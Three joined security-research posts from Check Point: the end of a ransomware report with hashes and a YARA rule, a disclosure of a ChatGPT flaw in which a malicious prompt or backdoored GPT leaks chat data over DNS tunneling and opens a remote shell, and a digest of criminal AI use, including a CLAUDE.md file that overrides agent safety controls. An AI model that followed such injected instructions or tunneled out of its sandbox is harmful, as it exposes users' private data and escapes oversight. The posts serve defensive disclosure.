Overall, The Gentlemen exemplifies how contemporary RaaS programs blend productized ransomware with professional intrusion teams. A small, well‑organized set of operators, supported by curated tooling, structured communication channels, and up‑to‑date exploit knowledge, can generate substantial impact in a short time. For defenders, this underscores the need to harden internet‑facing services, close known misconfigurations and relay paths, and monitor for the specific tools, workflows, and TOX‑based communication patterns tied to this group.

Indicators of Compromise

Description	Value
The Gentlemen Windows	025fc0976c548fb5a880c83ea3eb21a5f23c5d53c4e51e862bb893c11adf712a 1334f0189a8e6dbc48456fa4b482c5726ab7609f7fa652fcc4c1a96f2334436f 1af419b36a5edefef387409e2b3248c9223f7dc49a4f7b15ea095d371c3a70b2 22b38dad7da097ea03aa28d0614164cd25fafeb1383dbc15047e34c8050f6f67 24ac3588fb8cfbff63b7fdfcbc7dec1f3c60e54e6f949dd69d68e89e0c89d966 2ed9494e9b7b68415b4eb151c922c82c0191294d0aa443dd2cb5133e6bfe3d5d 3ab9575225e00a83a4ac2b534da5a710bdcf6eb72884944c437b5fbe5c5c9235 3c2182cb0bc7528829ef03f1b1745a92bcc47d917eb8870862488f21fdf1a6d6 48d9b2ce4fcd6854a3164ce395d7140014e0b58b77680623f3e4ca22d3a6e7fd 4a175eed927c0a477eafb8aa35a93c191748acaa78ac7aecd8ea3c4cd868887c 51b9f246d6da85631131fcd1fabf0a67937d4bdde33625a44f7ee6a3a7baebd2 62c2c24937d67fdeb43f2c9690ab10e8bb90713af46945048db9a94a465ffcb8 6a3ab9e984a759d55af4e84487d1fc44683065cc9a1089d5aa4ad1c0e4e84a63 860a6177b055a2f5aa61470d17ec3c69da24f1cdf0a782237055cba431158923 87d25d0e5880b3b5cd30106853cbfc6ef1ad38966b30d9bd5b99df46098e546c 8aa0cb69ca2777001e0f4ba0eaab0841592710e4cc5ccd6b0b526d78bbd8bfba 8c87134c1b45e990e9568f0a3899b0076f94be16d3c40fa824ac1e6c6ee892db 91415e0b9fe4e7cbe43ec0558a7adf89423de30d22b00b985c2e4b97e75076b1 994d6d1edb57f945f4284cc0163ec998861c7496d85f6d45c08657c9727186e3 9f61ff4deb8afced8b1ecdc8787a134c63bde632b18293fbfc94a91749e3e454 a7a19cab7aab606f833fa8225bc94ec9570a6666660b02cc41a63fe39ea8b0ad b67958afc982cafbe1c3f114b444d7f4c91a88a3e7a86f89ab8795ac2110d1e6 c46b5a18ab3fb5fd1c5c8288a41c75bf0170c10b5e829af89370a12c86dd10f8 c7f7b5a6e7d93221344e6368c7ab4abf93e162f7567e1a7bcb8786cb8a183a73 dce2e5cc00eff2493f8ced546dc51f9d5ef78c5ee56805906ec642dfa77a1c70 dfe696ff713318c53fb17731bd4a6585a02c085b590149b19847990b324a0be6 ec368ae0b4369b6ef0da244774995c819c63cffb7fd2132379963b9c1640ccd2 efaf8e7422ffd09c7f03f1a5b4e5c2cc32b05334c18d1ccb9673667f8f43108f f736be55193c77af346dbe905e25f6a1dee3ec1aedca8989ad2088e4f6576b12 fc75ed2159e0c8274076e46a37671cfb8d677af9f586224da1713df89490a958
The Gentlemen Linux	1eece1e1ba4b96e6c784729f0608ad2939cfb67bc4236dfababbe1d09268960c 5dc607c8990841139768884b1b43e1403496d5a458788a1937be139594f01dca 788ba200f776a188c248d6c2029f00b5d34be45d4444f7cb89ffe838c39b8b19

Yara Rule

rule thegentlemen_ransomware
{
    meta:
        author = "@Tera0017/Check Point Research"
        description = "The Gentlemen Ransomware written in GO."
    strings:
        $string1 = "Silent mode (don't rename files)" ascii
        $string2 = "Encrypt only mapped and UNC network shares" ascii
        $string3 = "README-GENTLEMEN.txt" ascii
        $string4 = "gentlemen.bmp" ascii
        $string5 = "gentlemen_system" ascii
        $string6 = "[+] Encryption started. Going background..." ascii
        $string7 = "[+] FULL Encryption started" ascii
    condition:
        uint16(0) == 0x5A4D and 4 of them
}

The post Thus Spoke…The Gentlemen appeared first on Check Point Research.

Key Takeaways

• Sensitive data shared with ChatGPT conversations could be silently exfiltrated without the user’s knowledge or approval.
• Check Point Research discovered a hidden outbound communication path from ChatGPT’s isolated execution runtime to the public internet.
• A single malicious prompt could turn an otherwise ordinary conversation into a covert exfiltration channel, leaking user messages, uploaded files, and other sensitive content.
• A backdoored GPT could abuse the same weakness to obtain access to user data without the user’s awareness or consent.
• The same hidden communication path could also be used to establish remote shell access inside the Linux runtime used for code execution.

What Happened

AI assistants now handle some of the most sensitive data people own. Users discuss symptoms and medical history. They ask questions about taxes, debts, and personal finances, upload PDFs, contracts, lab results, and identity-rich documents that contain names, addresses, account details, and private records. That trust depends on a simple expectation: data shared in the conversation remains inside the system.

ChatGPT itself presents outbound data sharing as something restricted, visible, and controlled. Potentially sensitive data is not supposed to be sent to arbitrary third parties simply because a prompt requests it. External actions are expected to be mediated through explicit safeguards, and direct outbound access from the code-execution environment is restricted.

Our research uncovered a path around that model.

We found that a single malicious prompt could activate a hidden exfiltration channel inside a regular ChatGPT conversation.

The Intended Safeguards

ChatGPT includes useful tools that can retrieve information from the internet and execute Python code. At the same time, OpenAI has built safeguards around those capabilities to protect user data. For example, the web-search capability does not allow sensitive chat content to be transmitted outward through crafted query strings. The Python-based Data Analysis environment was designed to prevent internet access as well. OpenAI describes that environment as a secure code execution runtime that cannot generate direct outbound network requests.

OpenAI also documents that so called GPTs can send relevant parts of a user’s input to external services through APIs. A GPT is a customized version of ChatGPT that can be configured with instructions, knowledge files, and external integrations. GPT “Actions” provide a legitimate way to call third-party APIs and exchange data with outside services. Actions are useful for enterprise workflows, access to internal business systems, customer support operations, and other integrations that connect ChatGPT to external services, including simpler use cases such as travel or weather lookups. The key point is visibility: the user sees that data is about to leave ChatGPT, sees where it is going, and decides whether to allow it.

In other words, legitimate outbound data flows are designed to happen through an explicit, user-facing approval process.

From One Message to Silent Exfiltration

From a security perspective, the obvious attack surfaces looked strong. The ability to send chat data through tools not designed for that purpose was strictly limited. Sending data through a legitimate GPT integration using external API calls also required explicit user confirmation.

The vulnerability we discovered allowed information to be transmitted to an external server through a side channel originating from the container used by ChatGPT for code execution and data analysis. Crucially, because the model operated under the assumption that this environment could not send data outward directly, it did not recognize that behavior as an external data transfer requiring resistance or user mediation. As a result, the leakage did not trigger warnings about data leaving the conversation, did not require explicit user confirmation, and remained largely invisible from the user’s perspective.

At a high level, the attack began when the victim sent a single malicious prompt into a ChatGPT conversation. From that moment on, each new message in the chat became a potential source of leakage. The scope of that leakage depended on how the prompt framed the task for the model: it could include raw user text, text extracted from uploaded files, or selected model-generated output such as summaries, medical assessments, conclusions, and other condensed intelligence. This made the attack flexible, because it allowed the attacker to target not only original user data, but also the most valuable information produced by the model itself.

That attack pattern fits naturally into ordinary user behavior. The internet is full of websites, blog posts, forums, and social media threads promoting “top prompts for productivity,” “best prompts for work,” and other ready-made instructions that supposedly improve ChatGPT’s performance. For many users, copying and pasting such prompts into a new conversation is routine and does not appear risky, because the prevailing expectation is that AI assistants will not silently leak conversation data to external parties, and that this boundary cannot be changed through an ordinary prompt. A malicious prompt distributed in that format could therefore be presented as a harmless productivity aid and interpreted as just another useful trick for getting better results from the assistant.

A broader campaign could use an even more convincing lure: prompts advertised as a way to unlock premium capabilities for free. Claims about enabling Pro-level behavior, hidden modes, or advanced features on a lower-tier account would give the attacker a natural pretext for including unusual instructions, long text blocks, or opaque fragments that might otherwise seem suspicious. Because the user already expects a nonstandard sequence, those elements can easily be perceived as part of the promised “hack.” A carefully crafted prompt could then create the appearance of enhanced functionality while quietly turning the conversation into a source of exfiltrated data.

Once the malicious prompt was placed into the chat, the conversation effectively became a covert collection channel. From that point on, summaries of subsequent user messages could be silently transmitted to an attacker-controlled server. As shown in Video 1, this took place without any warning, approval request, or other visible indication of external data transfer.

Malicious GPTs

The same attack pattern becomes even more dangerous when embedded inside a custom GPT.

GPTs allow developers to package instructions, knowledge files, and external integrations into a reusable assistant that other users can interact with. From the user’s perspective, the interaction looks like a normal ChatGPT conversation with a specialized tool.

In that scenario, the attacker no longer needs to rely on the victim copying a prompt from an external source. The malicious logic can be embedded directly in the GPT’s instructions and files. A user only needs to open the GPT and begin interacting with it as intended.

This changes the threat model significantly. Officially, GPT builders do not have access to individual user conversations with their GPTs. However, a GPT designed to exploit the vulnerability could still cause selected information from those conversations to be transmitted to an attacker-controlled server. From the user’s perspective, the interaction would remain indistinguishable from an ordinary session with a specialized assistant.

To demonstrate the practical impact of the vulnerability, we built a proof of concept around a sensitive scenario: a GPT acting as a personal doctor.

In the demonstration, the user uploaded a PDF containing laboratory test results. The document also contained personal information, including the patient’s name. The user then described symptoms and asked the GPT to help interpret the results.

From the user’s perspective, the interaction looked completely ordinary. The GPT analyzed the document and produced a medical assessment based on the provided information.

When asked directly whether the uploaded data had been sent anywhere, ChatGPT answered confidently that it had not, explaining that the file was only stored in a secure internal location. At the same time, the user saw no approval prompts or warnings about external data transfer, unlike the confirmation dialogs that normally appear when a GPT Action sends information to a third-party service.

Meanwhile, the attacker’s server received highly sensitive data extracted from the conversation: the patient’s identity taken from the uploaded document together with the model’s medical assessment.

This illustrates an important aspect of the attack. The attacker does not necessarily need to steal entire documents. Instead, the prompt could instruct the model to transmit the most valuable information it produces. In the medical scenario, that meant the patient’s identifying details together with the model’s assessment. In other contexts, it could mean financial conclusions, contract summaries, or strategic insights extracted from long documents.

From Data Exfiltration to Remote Shell

The same communication channel could be used for more than silent data exfiltration.

Once a reliable bidirectional channel existed between the execution runtime and the attacker-controlled server, it became possible to send commands into the container and receive the results back through the same path. In effect, the attacker could establish a remote shell inside the Linux environment that ChatGPT creates to perform code execution and data analysis tasks.

This interaction happened outside the normal ChatGPT response flow. When users interact with the assistant through the chat interface, generated actions and outputs remain subject to the model’s safety mechanisms and checks. However, commands executed through the side channel bypassed that mediation entirely. The results were returned directly to the attacker’s server without appearing in the conversation or being filtered by the model.

DNS Tunneling in an AI Runtime

The side channel that enabled both data exfiltration and remote command execution relied on DNS resolution.

Normally, DNS is used to resolve domain names into IP addresses. From a security perspective, however, DNS can also function as a data transport channel. Instead of using DNS only for ordinary name resolution, an attacker can encode data into subdomain labels and trigger resolution of those hostnames. Because DNS resolution propagates the requested hostname through the normal recursive lookup process, the resolver chain can carry that encoded data outward.

In our case, this mattered because the ChatGPT execution runtime did not permit conventional outbound internet access, but DNS resolution was still available as part of the environment’s normal operation. Standard attempts to reach external hosts directly were blocked. DNS, however, still provided a narrow communication path that crossed the isolation boundary indirectly through legitimate resolver infrastructure.

To exfiltrate data, content could be encoded into DNS-safe fragments, placed into subdomains, and reconstructed on the attacker’s side from the incoming queries. To send instructions back, the attacker could encode small command fragments into DNS responses and let them travel back through the same resolution path. A process running inside the container could then read those responses, reassemble the payload, and continue the exchange.

This effectively turned DNS infrastructure into a tunnel between the isolated runtime and an attacker-controlled server. The tunnel create in this way is sufficient for two practical goals: silently leaking selected data from the conversation and maintaining command execution inside the Linux environment created for code execution and data analysis.

Conclusion

Check Point Research reported the issue to OpenAI. OpenAI confirmed that it had already identified the underlying problem internally, and the fix was fully deployed on February 20, 2026.

The broader lesson, however, goes beyond this specific case. AI systems are evolving at an extraordinary pace. New capabilities are constantly being introduced, enabling assistants to solve complex mathematical problems, analyze large datasets, generate and execute scripts, and automate multi-step tasks that previously required dedicated development environments. These capabilities bring enormous benefits. At the same time, every new tool expands the system’s attack surface and can introduce new security challenges for both users and platform providers.

Modern AI assistants increasingly operate as real execution environments. They read files, run code, search in the web while processing highly sensitive information such as medical records, financial data, legal documents, and other personal or organizational data. Protecting these environments requires careful control over every possible outbound communication path, including infrastructure layers that users never see.

As AI tools become more powerful and widely used, security must remain a central consideration. These systems offer enormous benefits, but adopting them safely requires careful attention to every layer of the platform.

The post ChatGPT Data Leakage via a Hidden Outbound Channel in the Code Execution Runtime appeared first on Check Point Research.

KEY FINDINGS

AI-assisted malware development has reached operational maturity.
VoidLink framework, which is modular, professionally engineered, and fully functional, was built by a single developer using a commercial AI-powered IDE within a compressed timeframe. AI-assisted development is no longer experimental but produces deployment ready output.

AI-assisted development is not always obvious from the final product.
VoidLink was initially assessed as the work of a coordinated team based on its architecture and implementation quality. The development method was exposed not from analyzing the malware but through an operational security failure. AI-assisted development should be considered a possibility from the outset, not as an afterthought.

Adoption of self-hosted, open-source AI models is growing but still limited in practice.
Actors of varying skill levels are investing in self-hosted and unrestricted models to avoid commercial platform restrictions. However, underground discussions consistently reveal a gap between aspiration and capability: local models still underperform, finetuning remains aspirational, and commercial models remain the productive choice even for actors with explicit malicious intent.

Jailbreaking is shifting from direct prompt engineering toward agenticarchitecture abuse.
Traditional copy-paste jailbreaks are increasingly ineffective. The misuse of AI agent configuration mechanisms, specifically project files that redefine agent behavior, is a more significant development as it represents a qualitative shift from manipulating a
model’s responses to abusing its operational architecture.

AI is showing early signs of deployment as a real-time operational component. Beyond its use as a development aid, AI is beginning to appear as a live element in offensive workflows as autonomous agents performing security research tasks, and
LLMs classifying and engaging targets at scale within automated pipelines.

Enterprise AI adoption is itself an expanding attack surface.
GenAI activity across enterprise networks shows that one in every 31 prompts risked sensitive data leakage, impacting 90% of GenAI-adopting organizations.

INTRODUCTION

During January-February 2026, cyber crime ecosystems continue to adopt AI in a widespread but uneven pattern. Throughout 2025, legitimate software development began shifting from promptbased AI assistance to agent-based development. Tools such as Cursor, GitHub Copilot, Claude Code, and TRAE introduced a common paradigm: developers write structured specifications in markdown files, and AI agents autonomously implement, test, and iterate code based on those instructions. This agentic model, in which markdown is the operative control layer, is now starting to appear across the threat landscape.

The critical differentiator in what we observed is AI methodology combined with domain expertise. Across cyber crime forums, the dominant pattern of AI use remains unstructured prompting: actors request malware or exploit code from AI models as if entering a query in a search engine. VoidLink (detailed below) on the other hand, is the first documented case of AI producing truly advanced, deploymentready malware. The developer combined deep security knowledge with a disciplined, spec-driven
workflow to produce results indistinguishable from professional team-based engineering. Forum activity, which constitutes the bulk of observable evidence, primarily consists of actors who have not yet adopted structured AI workflows and whose efforts remain relatively unsophisticated. The more capable actors, those who combine domain expertise with disciplined AI methodology, leave far fewer traces in open forums, making the true scope of this shift harder to measure.

VOIDLINK: THE STANDARD WE MEASURE AGAINST

In January 2026, Check Point Research (CPR) exposed VoidLink, a Linux-based malware framework featuring modular command-and-control (C2) architecture, eBPF and LKM rootkits, cloud and container enumeration, and more than 30 post-exploitation plugins. The framework is highly sophisticated and professionally engineered, so much so that the initial assessment was that VoidLink was likely the product of a coordinated, multi-person development effort conducted over months of intensive development.

Operational security (OPSEC) failures by the developer later exposed internal development artifacts that told a different story. These materials revealed that VoidLink was authored by a single developer using TRAE SOLO, the paid tier of ByteDance’s commercial AI-powered IDE. Instead of unstructured prompting, the developer used Spec Driven Development (SDD), a disciplined engineering workflow, to first define the project goals and constraints, and then use an AI agent to generate a comprehensive architecture and development plan across three virtual teams (Core, Arsenal, and Backend). The resulting plan included sprint schedules, feature breakdowns, coding standards, and acceptance criteria, all documented as structured markdown files. The AI agent implemented the framework sprint by sprint, with each sprint producing working, testable code. The developer acted as product owner, directing, reviewing, and refining, while the AI agent did the actual work.

The results were striking. The recovered source code aligned so closely with the specification documents that it left little doubt that the codebase was written to those exact instructions. What normally would have been a 30-week engineering effort across three teams was executed in under a week, producing over 88,000 lines of functional code. VoidLink reached its first functional implant around December 4, 2025, one week after development began.

THIS CASE ESTABLISHES TWO PRINCIPLES:

• AI-assisted development now produces operationally viable, deployment-ready malware: it has crossed the threshold from experimental to functional.
• The AI involvement was invisible until it was exposed by an unrelated OPSEC failure. For analysts and defenders, this means AI involvement in malware development should be treated as a default working assumption, even when there are no visible indicators

The ramifications of VoidLink’s methodology go beyond this individual case. Its workflow, in which structured markdown specifications direct an AI agent to autonomously implement, test, and iterate, is the same paradigm that defined the agentic AI revolution in legitimate software development throughout 2025. The cyber crime ecosystem is not developing its own AI capability. It is adopting the same tools and architectural patterns as legitimate technology, with the additional goal of trying to overcome the protective limitations built into these systems. This is more important than which model or platform the attackers use.

The same architectural pattern repeatedly appears across the cases highlighted in our report: markdown skill files that transform a coding agent into an autonomous offensive security operator, and configuration files abused to override agent safety controls. In each case, the operative control layer is not code but structured documentation that determines what the AI agents build, how they behave, and what constraints they observe or ignore. This is in direct contrast to the underground forum activity, where the dominant approach remains unstructured prompting.

MODELS: COMMERCIAL, SELF-HOSTED, AND INFORMAL SERVICES

SELF-HOSTED OPEN-SOURCE MODELS

Across cyber crime forums, actors at all skill levels are actively exploring self-hosted, open-source AI models as alternatives to commercial platforms. Their motivations are consistent: to avoid moderation, prevent account bans, and maintain operational privacy.

Users with malware and hacking backgrounds are installing uncensored model variants such as wizardlm-33b-v1.0-uncensored and openhermes-2.5-mistral, and prompt them with comprehensive malicious wishlists spanning ransomware, keyloggers, phishing kits, and exploit code.

More established actors are conducting structured cost-benefit analyses, evaluating not only hardware requirements and GPU costs but whether locally hosted models produce reliable output (or hallucinate to the point of being operationally useless), and whether AI-generated malware meets the quality bar of current evasion techniques.

SELF-HOSTED MODELS: LIMITATIONS IN PRACTICE

Self-hosted models consistently show a gap between aspiration and capability. Community advice on improving local model output focuses on basic optimizations, such as switching to English-language prompts and increasing quantization levels, while references to more advanced techniques such as LoRA fine-tuning remain aspirational rather than operational.

Cost estimates range from $5,000 to $50,000 depending on the desired performance, with training timelines of 3–12 months and frank admissions that models “hallucinate a lot” without extensive investment.

Most tellingly, an active offensive tools vendor, advertising C2 setups, EDR bypass services, and red team tooling, concluded that local deployment is currently “more of a burden than something productive,” while acknowledging that commercial models remain useful despite increasing restrictions.

COMMERCIAL PLATFORMS AND INFORMAL ACCESS SHARING

Rather than migrating to self-hosted infrastructure, users are comparing what the prevailing workarounds among commercial models provide. Participants recommended specific providers they view as less restrictive, shared experiences with account enforcement on multiple platforms, and refined prompt-splitting techniques to incrementally bypass safeguards, such as requesting explanations before progressing toward executable code.

Some early signs of informal access sharing have been observed, with operators of local models offering to generate restricted outputs for others on request. However, given the historical precedent of “dark LLM” services that largely failed to deliver on their promises, it remains to be seen whether these will develop into durable service models.

JAILBREAKING AS ARCHITECTURAL ABUSE

Traditional jailbreaking, the practice of circulating copy‑paste prompts designed to trick models into producing restricted output, is becoming increasingly difficult to utilize. In some forum discussions, users seeking Claude jailbreaks were told that easy public prompts are no longer available, platforms have been cracking down on abusers, dedicated subreddits have been banned, and developing new jailbreaks is costly because the accounts are eventually terminated. Single‑prompt jailbreaking is becoming less attractive as model providers invest in safety enforcement.

ABUSING AGENT ARCHITECTURE

A more significant development is the emergence of jailbreaking techniques that target the architecture of AI agent systems rather than the model’s conversational safeguards. A packaged “Claude Code Jailbreak” distributed on forums illustrates this shift.

Claude Code is designed to read a CLAUDE.md file from a project’s root directory as configuration. Legitimate developers use this mechanism to define the project context, coding standards, and agent behavior. The jailbreak abuses this by placing override instructions in the CLAUDE.md file that suppresses safety controls and redefines the agent’s role. When Claude Code initializes in the directory, it reads these instructions as authoritative project configuration and follows them. The screenshots below claim successful generation of a RAT (Remote Access Trojan) using this method.

This is not prompt injection in the traditional sense, but manipulation of the agent’s instruction hierarchy, the same architecture used for agentic AI tools in legitimate development. The CLAUDE. md file occupies the same functional role as VoidLink’s markdown specification files or RAPTOR’s skill definitions: a structured document that determines what the agent does, how it behaves, and what constraints it observes.

FROM DEVELOPMENT TOOL TO OPERATIONAL AGENT

The preceding sections document AI as a development aid (as seen by VoidLink), a resource actors struggle to access on their own terms (self-hosted models), and as a system whose restrictions they attempt to bypass (jailbreaking). Now let’s look at AI deployed as a real-time operational component, performing offensive tasks autonomously within live workflows.

RAPTOR: AGENT-BASED OFFENSIVE ARCHITECTURE VIA MARKDOWN SKILLS

RAPTOR’s own data provides an additional data point on the commercial versus self-hosted question we discussed earlier. An evaluation of exploit generation across multiple model providers found that commercial frontier models (Anthropic Claude, OpenAI GPT-4, and Google Gemini) consistently produce compilable C code at approximately $0.03 per vulnerability, while locally hosted models via Ollama were marked as “often broken” and unreliable for exploit generation. This reinforces the conclusion reached independently by experienced actors in underground forums: commercial models remain significantly more capable than self-hosted alternatives for operational tasks.

Discussions on criminal forums indicate that threat actors are aware of this architecture. The combination of a proven architectural pattern, open source availability, and documented criminal interest suggests that similar configurations, whether directly based on RAPTOR or just replicating its approach, are likely being developed and tested privately.

AI AS ATTACK SURFACE: ENTERPRISE EXPOSURE

The preceding sections document how threat actors engage with AI as an offensive tool. But the same wave of AI adoption is simultaneously creating exposure from the defensive side. As enterprises integrate generative AI into daily workflows, the volume of sensitive data flowing through these tools introduces a distinct category of risk: instead of AI weaponized against organizations, AI is adopted by organizations in ways that outpace security controls.

In January – February 2026, corporate use of generative AI tools continued to expand at scale. Analysis of GenAI activity across enterprise networks shows that one in every 31 prompts (approximately 3.2%) posed a high risk of sensitive data leakage, including the potential sharing of confidential business information, regulated data, source code, or other sensitive corporate content with external GenAI services.

Critically, this risk is broadly distributed across the enterprise landscape rather than limited to a small number of outliers. High-risk prompt activity impacted 90% of organizations that use GenAI tools on a regular basis, indicating that nearly all GenAI-adopting enterprises encounter meaningful data leakage risk through everyday AI usage. Beyond these clearly high-risk events,16% of prompts contained potentially sensitive information, reflecting a wider pattern of questionable data-handling behavior that can still translate into compliance exposure or IP loss.

Adoption trends further amplify the challenge. Over the last couple of months, organizations used 10 different GenAI tools on average, reflecting multi-tool environments. At the user level, an average employee generated 69 GenAI prompts per month. As prompt volume grows, the possibility of data exposure events scales accordingly, reinforcing the need for security policies, visibility, and real-time prevention controls.

The post AI Threat Landscape Digest January-February 2026 appeared first on Check Point Research.